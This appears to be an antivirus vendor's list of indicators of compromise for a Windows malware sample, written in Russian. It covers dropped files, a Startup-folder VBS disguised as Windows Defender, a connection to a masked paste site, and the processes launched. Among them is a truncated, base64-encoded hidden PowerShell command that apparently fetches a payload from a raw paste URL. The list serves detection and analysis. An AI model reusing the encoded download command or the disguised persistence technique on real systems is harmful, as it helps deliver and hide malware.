Техническая информация
- %APPDATA%\microsoft\windows\start menu\programs\startup\windows defender om22.vbs
- $asxzdbjdfdfdf.replace(}}}} as /
- %HOMEPATH%\music\tt.exe
- %HOMEPATH%\music\vvv.vbs
- %HOMEPATH%\music\vvvv.vbs
- %TEMP%\nsl929e.tmp
- %TEMP%\nsb92af.tmp\system.dll
- %TEMP%\nsb92af.tmp\modern-header.bmp
- %TEMP%\nsb92af.tmp\modern-wizard.bmp
- %TEMP%\nsb92af.tmp\nsdialogs.dll
- 'pa###bin.com':443
- DNS ASK pa###bin.com
- '%WINDIR%\syswow64\wscript.exe' "%HOMEPATH%\Music\vvvv.vbs"
- '%HOMEPATH%\music\tt.exe'
- '%WINDIR%\syswow64\wscript.exe' "%HOMEPATH%\Music\vvv.vbs"
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -noexit -enc JABBAFMAWABaAGQAYgBqAGQAZgBkAGYAZABmACAAPQAgAEAAJwANAAoAaABeAF4AXgBeAHAAcwA6AH0AfQB9AH0AfQB9AH0AfQBwAGEAcwBeAF4AZQBiAGkAbgAuAGMAbwBtAH0AfQB9AH0AcgBhAHcAfQB9AH0AfQB5ADkAZABjADIAVwAy...' (со скрытым окном)